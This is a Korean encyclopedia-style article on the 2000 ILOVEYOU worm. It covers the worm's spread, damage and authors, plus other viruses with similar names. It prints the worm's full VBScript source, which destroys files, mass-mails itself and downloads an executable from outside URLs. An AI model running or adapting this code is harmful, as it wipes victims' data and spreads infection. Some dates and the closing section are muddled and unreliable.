1. 개요
정식명칭 LOVELETTER(러브레터) 혹은
ILOVEYOU(아이러브유). 시만텍에서는
VBS.LoveLetter.Var라고 분류하고 있다.
대한민국에는 러브바이러스로 많이 알려져 있다.
2000년에 처음 나와 전 세계적으로 유행했던 컴퓨터 바이러스로, 대한민국에도 수많은 컴퓨터가 감염되었다.
필리핀에서 처음 생긴
컴퓨터 바이러스이며, 제작자는 얼마 못 가 체포되었다. 확장자를 보면 알 수 있듯이 개발에 사용된 언어는 비주얼 베이직 스크립트(VBScript).
[1] 보통 비주얼 베이직의 확장자는 .vbs가 아니라 .vbp나 .vb이다. 그리고 .vbs는 아까도 말했듯이, VBScript로 VB계열의 일부 문법구문을 사용하지만, 같은 언어라고 하기에는 애매하다.
제작자는 체포되었지만, 수많은 변종이 아직도 전세계에 떠돌고 있으며, 10년 이상 지난 지금도
하드디스크에 소중한 데이터를 꽉꽉 채우고 있는 사람들에겐 한번 감염되는 순간 그 공포는
충공깽 수준이다. 그 이유는 후술한다.
아래는 소스 코드이다.
- [접기/펼치기]
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@> <?-?MARQU EE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^ -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub
|
2. 감염과 피해
[image]제목 : I Love You
내용
kindly check the attached LOVELETTER coming from me
(부디 제가 보낸 '''러브레터''' 첨부파일을 확인해 주시길.[2]
참고로 원문의 영어 kindly는 please(제발)와 유사하게 부탁하는 문장에 쓰이지만, please보다는 어조가 다소 고압적이며 '상대라면 당연히 내 부탁을 들어줄 것'임을 전제하는 표현이다. 둘을 합쳐서 Please kindly~ 라고 쓰면, '내가 예의를 차려서 부탁하고 있으니까 당신도 예의있게 내 말을 들어주길 바란다'라는 함의가 깔린 부탁 표현이 된다.
) 첨부파일
'''LOVE-LETTER-FOR-YOU.TXT.vbs'''
참고 영상이메일을 통해 감염되며, 저 메일에서
만악의 근원인 첨부파일 '''LOVE-LETTER-FOR-YOU.TXT.vbs'''를 실행하는 순간 감염된다.
[3] 과거의 웜 바이러스들은 메일로 확산될 때 대부분 이런 식으로 이중 확장자를 사용해 정체를 속였다(예: .txt.vbs, .jpg.exe, .jpg.scr, .mp3.scr, .jpeg.hta 등). 아웃룩 익스프레스에서 기본적으로 확장자를 감추기 때문이며, 이 웜의 경우는 vbs 파일의 아이콘이 텍스트 문서의 아이콘과 유사해 더욱 잘 속을 수 밖에 없었다.
바이러스에 감염되면 가장 먼저 사용자의
아웃룩에 등록되어 있는 모든 메일 주소로 위의 메일을 보내며, 확장자가 vbs, vbe, js, css, wsh, sct, hta, '''jpg, jpeg, mp2, mp3'''인 모든 파일을 "I Love You"라는 내용만이 적힌 스크립트 파일로 만든다. 당연히 '''원본 파일은 삭제되어 복구할 수 없으며''', 남는 건 "I Love You"란 공허한 문장뿐.
[4] 삭제된 파일은 파일 복구 프로그램을 이용해도 복구가 불가능하다. 바이러스가 파일을 삭제하기 전 파일의 내용을 바이러스 코드로 덮어씌운 다음에 삭제하기 때문. 즉, 복구 프로그램으로 파일을 복구해도 바이러스 코드를 덮어쓴 파일이 복구되는 것이다. 그나마 불행 중 다행인 것은 확장자가 mp2, mp3인 파일은 삭제하지 않고 숨겨놓기만 해서 탐색기의 폴더 옵션을 조정해서 숨겨진 파일도 보이게 한 뒤 파일 속성에서 숨김 특성을 풀면 원래대로 복구할 수 있다.
컴퓨터를 강제 종료하면 감염을 막을 수는 있지만, 바이러스에 감염되어 "I Love You"로 대체된 파일을 여는 순간 '''바이러스는 재가동된다.'''
3. 단순하지만 강력한 증상
이 악성코드는 시스템 파일을 감염시키지 않기 때문에 컴퓨터를 먹통으로 만들 정도로 치명적인
악성코드는 아니다. 코드 자체도
아웃룩에 접근하는 코드를 제외하면 그렇게 복잡하지 않다.
하지만 이 바이러스의 무서운 점은 '''감염당하는 파일의 확장자'''다. 윗 문단을 읽으면 알겠지만 초기 버전부터
CSS와
JavaScript 파일을 날려 웹 개발자를 절망시키는 건 물론 '''
JPG,
MP3'''를 날린다.
그리고 이후에 나온 변종들은 모든 미디어 파일을 감염시키는 건 물론
Microsoft Word 문서 파일 같은 업무용 파일을 감염시켜 날리는 등 더 강해져서 왔다.
하드디스크에 소중한 데이터나 작업용 파일 등 소중한 자료들을 "I Love You"라는 10바이트짜리 vbs파일로 바꾸는 무자비함과 간단한 코드로 인한 빠른 실행 속도 때문에 강제종료할 틈도 없을 정도로 말그대로
순삭해버리는 괴랄같은 속도 때문에, 일단 한번이라도 당해본 사람은 vbs파일만 보더라도 공포를 느낄 정도다.
이 때문에 일각에서는 카지노 바이러스와 함께 랜섬웨어의 조상으로 보기도 한다. 랜섬웨어보다 더 답없는 것은 '랜섬웨어는 복호화 키를 찾아주는 사이트나 일말의 도박으로 해커에게 돈을 지불하는 것으로 복구 할수 있는 일말의 희망이라도 있지만 얘는 '''복구 방법이 아예 없다는게 문제다.''' 한편으로는 단순한 문구 하나로 인간의 심리를 완전히 간파했다는 점에서
사회공학을 이용한 바이러스, 나아가
Advanced Persistent Threat의 시초로 볼 수도 있다.
4. 개발자
당시 필리핀의 인터넷 서비스 제공업체 스카이인터넷(Sky Internet)은, 해당 바이러스가 자사 서버를 통해 유포되고 있다는 신고를 접수하고, 필리핀 국가수사국(NBI)과 공조하에 배포자를 찾기 시작했다. 이들은 조사 결과 마닐라의 한 아파트로부터 어떤 전화번호
[5] 이 당시는 아직 인터넷 전용선(LAN)이 세계적으로 널리 보급되기 전이라, 모뎀을 거쳐서 전화선을 통해 인터넷을 하는 사람이 여전히 많던 시기였다. 해당 전화번호는 레오넬 라모네스(Reonel Ramones)라는 은행 직원의 소유로 되어 있었다. 조사 결과 진범은 라모네스와 함께 살고 있던 대학생 2명이었고, 라모네스는 조사 끝에 증거 불충분으로 풀려났다.
가 반복적으로 나타나는 것을 발견했다.
그렇게 밝혀진 용의자는 AMA
정보대학 출신의 2인조 프로그래머 마이클 부엔(Michael Buen)과 오넬 데 구스만(Onel de Guzman)이었다. 이들은 중소기업에 컴퓨터 프로그램을 팔거나 학생들의 논문을 대행해주는 컴퓨터 동호회 '그래머소프트(GRAMMERSoft)'
[6] 부엔이 자신이 만든 악성코드에 이 동호회에 감사하는 내용의 인사말을 집어넣어 놓는 바람에 알려졌다.
의 회원인 것으로 밝혀졌다. 이들 중 데 구스만은 AMA 대학을 4학년에 중퇴한 전직 대학생으로, 자신의 졸업논문이 인정받지 못한 것
[7] 돈이 없는 사람들도 인터넷에 접속할 수 있도록, '''트로이 목마를 이식해 인터넷 이용자들의 패스워드를 훔치는 방법'''에 대한 논문이었다고 한다. 이미 연구 주제부터가 글러먹었다. 당연하지만 대학 논문심사위는 데 구스만의 졸업논문 인정을 거부하였고, 그와 동시에 예정되어 있던 졸업도 취소되었다.
에 큰 앙심을 품고 자신의 졸업논문 내용을 바탕으로 한 바이러스를 만들었다고 한다. 한편, 2인조 중 나머지 멤버였던 부엔은 러브 바이러스가 전세계 컴퓨터망에 침투해 엄청난 피해를 내기 시작한 다음날인 2000년 2월 5일에 유유히 대학을 졸업했다.
[8] 그가 졸업 논문용으로 만든 프로그램은 '컴퓨터 파일을 한번에 대량으로 복제할 수 있는 프로그램'으로, 얼마든지 바이러스 제작에 악용될 수 있는 기술이었다. 실제로 데 구스만은 자신의 트로이목마를 부엔의 프로그램과 결합시켜서 러브 바이러스를 만들어냈다.
부엔이 만들어 배포한 악성코드 가운데는
마이크로소프트 워드 매크로 바이러스의 형태를 띤 것도 있었는데, 이력서 형식으로 위장한 이메일을 실행하면 다음과 같은 경고문구가 출력되고 워드 파일을 감염시키도록 되어 있었다.
"Warning: If I don't get a stable job by the end of the month I will release a third virus that will remove all folders in the Primary Hard Disk..."
(경고: 이번 달 말까지 내가 안정된 직장을 못 얻으면, 세 번째 바이러스를 풀어서 메인 하드디스크에 있는 폴더를 모두 지워버릴 거야.)
어이없는 사실은, 바이러스 역할을 하는 이력서에 마이클 부엔이 '''자신의 이름과 데 구스만의 이름, 심지어 자신들의 대학교가 위치한 주소지''' 등을 떡하니 적어놓았다는 것이었다. 이 때문에 필리핀 당국 수사관들은, 처음부터 해당 학생들이 광범위한 피해를 노리고 이 바이러스를 만들었다기보다는, 그저 장난삼아
조크 바이러스 같은 것을 만들었을 가능성이 크지 않을까 생각한다고
CNN과의 뉴스 인터뷰에서 소감을 밝히기도 했다. 하지만 철부지 대학생들의 장난이라기엔, 그 결과는 이미 세계구급으로 커져 있었다.
[9] 확인되지 않은 루머에 따르면, 파일이 퍼진 진짜 뒷사정은 다음과 같다 카더라. 마이클이 좋아하던 '바우티스타(Bautista)'라는 여자가 데 구스만과 사귀는 걸 보고, 마이클이 질투가 난 나머지 데 구스만의 트로이목마를 개조한 뒤 연애편지로 위장해 그의 이메일로 보냈고, 데 구스만이 무심결에 그 메일을 열면서 바이러스가 유포되기 시작했다고 한다...
부엔과 데 구스만은 당시 필리핀 법에 멀웨어 관련 조항이 없다는 이유로 무죄 석방되었다. 이 둘은 사건 이후에도 프로그래머로 활동 중이다.
5. 동명의 다른 악성코드
5.1. Win95/Love
참고 영상컴퓨터 날짜 상으로 2000년 이후 매월 1일마다 감염된 프로그램이 실행되면 PC의 메인보드에 내장된 내장 스피커에 비프 음으로 LG 로고송(
사랑해요 LG)을 재생해 Win95/Love라는 진단명이 붙은 바이러스. 앞서 서술된 바이러스(VBS/Love_Letter)와는 다른 바이러스이다.
Windows 9x/Me 계열에서만 실행이 가능하다는 점과 실행 파일 섹션
[10] 정보를 담고 있는 하나의 블록 단위라고 이해하면 된다. 일반적인 윈도우 실행 파일(PE)은 명령어를 담고 있는 code 섹션(.text), 상수 값이나 변수 초기값을 담고 있는 data 섹션(.data), 아이콘 등 내장 리소스 데이터를 담고 있는 리소스 섹션(.rsrc), 실행 파일의 포인터 정보를 담고 있는 재배치 섹션(.reloc)으로 구성된다.
사이의 빈 공간을 겹쳐 써 감염을 시킨다는 방식은 Win95/CIH (
CIH 바이러스)와 매우 유사하다.
직접 분석을 해 보지는 않았지만 여러 정황과 시대적 배경(1999년 말)을 감안하면 소스 코드가 공개되었던 CIH 바이러스의 코드를 일부 수정해 감염 증상
[11] 전문 용어로 payload(페이로드)라고 부른다. Payload(페이로드)란 화물을 뜻하는 영어 단어인데, 컴퓨터 네트워크에서는 패킷의 실제 데이터를, 컴퓨터 바이러스에서는 활동 시 나타나는 악의적인 감염 증상을 뜻한다.
만 바꾼 바이러스가 아닐까 추정된다(자세한 내용은 후에 가지고 있는 샘플을
리버싱해 본 후에 추가할 예정). 실제로 이 당시 많은 바이러스들이 CIH 바이러스의 코드를 참조하거나 모태로 한 경우가 많았다. 크리스마스 바이러스로 알려졌던
[12] 매년 12/25일 CIH와 똑같은 하드 디스크 데이터 및 롬 바이오스 파괴 증상을 일으킨다.
Win32/Kriz 역시 소스 코드를 살펴 보면 Win95/CIH 를 모태로 하고 있다.
[13] Win32/Kriz 바이러스는 윈도우 NT 계열에서도 동작하는데, 이는 CIH 바이러스가 이용했던 인터럽트 테이블을 이용한 Ring0 권한 획득 버그가 NT 계열에서는 먹히지 않아, 대신 kernel32.dll 파일을 수정하는 방식으로 시스템을 장악해 NT 계열에서도 동작되게 만들었다. 물론 감염 방식도 CIH 바이러스의 겹쳐쓰기 방식 대신 섹션을 새로 추가해 코드를 담는 방식으로 바뀌었다. (즉, 감염되면 파일 크기가 증가한다)
2000년대 초반에 굉장히 활동력이 강했던 파일 감염 바이러스. 네트워크 파일 공유를 통해 재감염이 일어날 수 있었기 때문.
파리떼 바이러스(Win32/Parite) 이전 세대에 님다 바이러스(Win32/Nimda)와 더불어 가장 전파력이 강했던 바이러스이다. 인터넷 자료실 등에서 게임 등을 다운로드 받아보면 이 바이러스에 감염된 경우가 많았다.
Win98 이상이라면 작업관리자를 실행했을 때 램에 상주된 FLCSS.exe 라는 파일을 확인할 수 있으며 감염파일 내부에는 ~Fun Loving Criminal~ 이라는 메시지가 있다.